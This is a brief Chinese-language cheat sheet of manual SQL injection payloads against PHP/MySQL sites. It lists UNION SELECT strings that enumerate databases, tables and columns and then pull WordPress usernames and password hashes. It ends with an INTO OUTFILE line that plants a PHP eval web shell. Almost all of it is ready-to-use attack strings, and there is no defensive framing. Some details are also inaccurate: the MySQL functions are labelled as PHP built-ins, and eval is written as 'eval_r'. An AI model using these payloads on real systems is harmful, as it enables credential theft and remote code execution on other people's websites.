php手工注入笔记

PHP内置函数：

1:system_user() 系统用户名

2:user()        用户名

3:current_user  当前用户名

4:session_user()连接数据库的用户名

5:database()    数据库名

6:version()     MYSQL数据库版本

7:load_file()   MYSQL读取本地文件的函数

8:@@datadir     读取数据库路径

9:@@basedir    MYSQL 安装路径

10:@@version_compile_os   操作系统  

===========================================================================

爆信息：
and 1=2 union select group_concat(user(),0x7c,database(),0x7c,version())--
============================================================================
1,爆库
 and 1=2 union select group_concat(SCHEMA_NAME) from  information_schema.SCHEMATA --


2,爆表
 and 1=2 union select group_concat(TABLE_NAME) from  information_schema.TABLES where TABLE_SCHEMA=0x776f72647072657373--

3,爆字段
 and 1=2 union select group_concat(COLUMN_NAME) from  information_schema.COLUMNS where TABLE_name=0x77705f7573657273--

4,爆密码
and 1=2 union select group_concat(user_login,0x7c,user_pass) from wordpress.wp_users--

=============================================================================
load_file()

select ‘<?php eval_r($_POST[cmd])?>' into outfile '物理路径'